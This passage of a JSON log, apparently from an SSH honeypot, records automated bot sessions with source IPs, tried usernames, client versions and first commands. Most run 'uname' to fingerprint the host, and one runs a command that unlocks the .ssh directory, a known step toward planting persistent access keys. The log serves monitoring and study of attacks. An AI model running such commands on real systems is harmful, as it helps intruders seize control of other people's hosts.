  "name": "balmy-verdant-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53292,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 281,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:42:13.969217+00:00",
  "ended_at": "2026-08-27T02:42:19.918177+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "23cbd5ce-9b86-49e8-a0e0-1d3d062abbd7",
  "name": "vigilant-faded-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 53648,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:42:13.730073+00:00",
  "ended_at": "2026-08-27T02:42:15.598271+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ecffce4-0981-439c-b757-aff5824794f9",
  "name": "wandering-hazy-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45420,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:42:11.048175+00:00",
  "ended_at": "2026-08-27T02:42:14.046863+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b8d1191d-97d3-4661-90e8-56c307a75cf9",
  "name": "idle-shifting-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37432,
  "username": "adminuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:42:01.870844+00:00",
  "ended_at": "2026-08-27T02:42:07.376808+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9deade89-962f-41bd-bf2a-7d57a91d4ad3",
  "name": "gilded-glacial-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37330,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 242,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:41:49.956057+00:00",
  "ended_at": "2026-08-27T02:41:54.847010+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8dc18c8e-0f31-4096-b4fc-46c0bdd031b8",
  "name": "eager-hollow-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55660,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 237,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:41:44.481539+00:00",
  "ended_at": "2026-08-27T02:41:50.371140+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4fe361bc-8b87-4a93-8119-6b2a724ad512",
  "name": "clever-sunlit-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60934,
  "username": "ftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 284,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:41:43.601266+00:00",
  "ended_at": "2026-08-27T02:41:47.440834+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8159f8dd-6fcb-4434-b08d-b3dd83bea7e6",
  "name": "fringed-salty-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39942,
  "username": "runner",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 355,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:41:39.624618+00:00",
  "ended_at": "2026-08-27T02:41:43.204464+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "94ffa720-d6c3-4f3e-bcd7-f9b1832fa332",
  "name": "cosmic-hazy-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44590,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:41:21.917003+00:00",
  "ended_at": "2026-08-27T02:41:27.419391+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "35546b4a-28de-483a-8708-84b5294b2331",
  "name": "fringed-feathered-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 410,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:41:20.494011+00:00",
  "ended_at": "2026-08-27T02:41:25.370228+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "333c5cbf-53bb-45c9-aaec-f192cf366d8c",
  "name": "cheerful-obsidian-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39618,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 280,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:41:12.892876+00:00",
  "ended_at": "2026-08-27T02:41:18.924237+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a7258a36-fe36-4c85-8a3f-1c6cebc2e75b",
  "name": "tangled-languid-godwit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 54098,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:41:12.180385+00:00",
  "ended_at": "2026-08-27T02:41:12.707009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e04d690c-ab6f-496c-b005-3a5b70aad7f7",
  "name": "arctic-lucid-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 37394,
  "username": "worker",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:41:10.014458+00:00",
  "ended_at": "2026-08-27T02:41:13.253065+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cd0918c0-4416-48fd-94d6-c493bf63eaf9",
  "name": "crimson-valiant-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42908,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 251,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:41:04.743133+00:00",
  "ended_at": "2026-08-27T02:41:09.439312+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f4271c35-b51c-43de-9128-4817a810bd1f",
  "name": "knotted-ivory-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47600,
  "username": "worker",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 273,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:41:04.284784+00:00",
  "ended_at": "2026-08-27T02:41:13.251632+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "031ae997-cb14-4ee5-8d17-dcbfb2856060",
  "name": "rapid-velvet-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39544,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 246,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:41:04.080600+00:00",
  "ended_at": "2026-08-27T02:41:09.715726+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1f0075b2-c86b-40bc-9269-554b612ff46e",
  "name": "brave-sturdy-plover",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 55746,
  "username": "term2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:41:02.887465+00:00",
  "ended_at": "2026-08-27T02:41:06.417608+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a681204e-2673-455b-b422-22a4a806c939",
  "name": "golden-emerald-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47520,
  "username": "term2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 305,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:40:57.240053+00:00",
  "ended_at": "2026-08-27T02:41:06.420000+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "2a36b224-0c33-4a73-ab84-381ac21d70f6",
  "name": "gloomy-sincere-peccary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 55614,
  "username": "user4",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:40:54.528192+00:00",
  "ended_at": "2026-08-27T02:40:56.892510+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3e7c3b2d-399e-494e-a32e-0cc7373abc6f",
  "name": "autumn-fierce-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58048,
  "username": "user4",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 249,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:40:49.021941+00:00",
  "ended_at": "2026-08-27T02:40:56.894023+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "4e094390-5954-4c3a-95cb-b3a075e154c1",
  "name": "feathered-mossy-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 65517,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:40:37.101854+00:00",
  "ended_at": "2026-08-27T02:40:39.041789+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1cbfb953-bc4c-4697-a701-74ceb2307dc2",
  "name": "russet-dusty-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57998,
  "username": "user2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 315,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:40:30.854271+00:00",
  "ended_at": "2026-08-27T02:40:36.632990+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3687f263-de54-4efd-a5ec-9a645a1b949b",
  "name": "lucid-orderly-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38540,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 203,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:40:30.587050+00:00",
  "ended_at": "2026-08-27T02:40:35.813819+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "076c37cb-ab52-459f-8c3c-d7fb5914c734",
  "name": "granite-leafy-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38438,
  "username": "pi",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:40:23.819115+00:00",
  "ended_at": "2026-08-27T02:40:27.428897+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a5bc4cac-4e98-4adf-a6ee-aab7504fc6ed",
  "name": "graceful-diligent-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47846,
  "username": "node",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 279,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:40:18.931399+00:00",
  "ended_at": "2026-08-27T02:40:22.457311+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "262b9f15-3e94-4267-b171-79ef1888046a",
  "name": "mindful-rugged-loris",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "74.7.175.161",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:40:18.694484+00:00",
  "ended_at": "2026-08-27T02:56:06.358150+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e28cfb54-dce2-4db9-b9bf-056889c5aca0",
  "name": "shifting-honest-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45022,
  "username": "odoo17",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:40:14.298496+00:00",
  "ended_at": "2026-08-27T02:40:18.116548+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "252403aa-8b19-4cff-a746-dcf29507f053",
  "name": "sturdy-crystal-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44954,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 203,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:40:06.669716+00:00",
  "ended_at": "2026-08-27T02:40:12.108050+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c5bcbe48-b5d2-45b6-860e-d010c5b31b4b",
  "name": "sterling-feathered-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33532,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:39:55.183693+00:00",
  "ended_at": "2026-08-27T02:40:00.138819+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f386c258-2ac3-4e54-983d-d1423d9dbc1d",
  "name": "proud-frosty-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47896,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:39:53.722062+00:00",
  "ended_at": "2026-08-27T02:39:57.779808+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a545b970-32f1-4e0e-85ab-0c77670c5f1e",
  "name": "vigilant-honest-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47828,
  "username": "student",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 218,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:39:48.898723+00:00",
  "ended_at": "2026-08-27T02:39:51.742709+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "46099ea4-c07b-431c-9b2b-0751ed500934",
  "name": "nautical-frugal-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43068,
  "username": "deployer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:39:38.962397+00:00",
  "ended_at": "2026-08-27T02:39:41.963608+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e2510945-ae02-49f5-bc33-a2058b7853a2",
  "name": "mindful-brave-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34558,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 190,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:39:35.744958+00:00",
  "ended_at": "2026-08-27T02:39:38.812600+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7f5a4ba8-4925-4947-9c9d-397140e25ac5",
  "name": "steady-gilded-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 60868,
  "username": "zyx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 556,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:39:29.692683+00:00",
  "ended_at": "2026-08-27T02:39:31.389472+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "5d54db19-dc32-456e-9afe-c0341e18e34e",
  "name": "orderly-bronzed-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52872,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:39:25.949338+00:00",
  "ended_at": "2026-08-27T02:39:31.175225+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cdb4d8c8-93b0-4917-b66d-d33b6fa0d0cb",
  "name": "vaulted-gritty-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 45050,
  "username": "adminuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:39:23.293669+00:00",
  "ended_at": "2026-08-27T02:39:25.440071+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "49e46ce3-962f-45cb-88f3-584f2f15271b",
  "name": "icy-blithe-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33094,
  "username": "adminuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:39:18.772942+00:00",
  "ended_at": "2026-08-27T02:39:25.444010+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "bd0d7739-37bc-4378-85d6-7d9adc7860a4",
  "name": "leafy-bold-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34490,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 218,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:39:18.142754+00:00",
  "ended_at": "2026-08-27T02:39:23.210291+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5442e2d4-d42a-4240-ac33-43188f4c5869",
  "name": "keen-restless-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52846,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:39:16.592651+00:00",
  "ended_at": "2026-08-27T02:39:21.142197+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5076fdb8-d9ac-490c-972c-90628ebb1818",
  "name": "solemn-curious-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 45150,
  "username": "zyx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:39:14.333663+00:00",
  "ended_at": "2026-08-27T02:39:15.947069+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e58d274a-18c4-422d-b13d-f5e41de33394",
  "name": "plush-fleeting-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 33580,
  "username": "rocky",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:39:13.525044+00:00",
  "ended_at": "2026-08-27T02:39:15.800188+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "51ccb885-139a-468e-a1af-91ac280ddefd",
  "name": "verdant-courtly-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48136,
  "username": "rocky",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:39:09.030095+00:00",
  "ended_at": "2026-08-27T02:39:15.801707+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "de41c9c5-54ca-4c0c-be17-1e06758522ef",
  "name": "amiable-glassy-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 33516,
  "username": "elasticsearch",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:39:08.474466+00:00",
  "ended_at": "2026-08-27T02:39:10.953062+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1d8b8ec0-c39f-425b-b2b2-ba9974bd6870",
  "name": "drifting-blithe-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 60882,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:39:08.403705+00:00",
  "ended_at": "2026-08-27T02:39:10.301064+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "49b0cf2e-5bf6-40cd-a146-56936e925e3f",
  "name": "shaded-ivory-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54906,
  "username": "elasticsearch",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:39:04.888838+00:00",
  "ended_at": "2026-08-27T02:39:10.954173+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1666
 },
 {
  "id": "459b73ae-89ce-4ff2-b89d-122455c1d9ac",
  "name": "amiable-primal-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48046,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:38:57.900535+00:00",
  "ended_at": "2026-08-27T02:39:00.743844+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e16173a9-9fc0-41cc-86e8-b8861a3f5692",
  "name": "crimson-brisk-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51396,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:38:47.924057+00:00",
  "ended_at": "2026-08-27T02:38:53.689934+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "754da5a6-891c-4ea1-986d-57313b2cdb7f",
  "name": "electric-northern-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 43036,
  "username": "orange",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:38:46.710049+00:00",
  "ended_at": "2026-08-27T02:38:48.494033+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d95136e4-2dfc-4359-9ae4-f784de3f6470",
  "name": "airy-dutiful-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35718,
  "username": "orange",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:38:41.892719+00:00",
  "ended_at": "2026-08-27T02:38:48.495724+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "81401bee-16cd-4491-bdc0-356d23d6365d",
  "name": "meadow-thawing-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 34498,
  "username": "ec2-user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:38:37.306270+00:00",
  "ended_at": "2026-08-27T02:38:40.481492+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
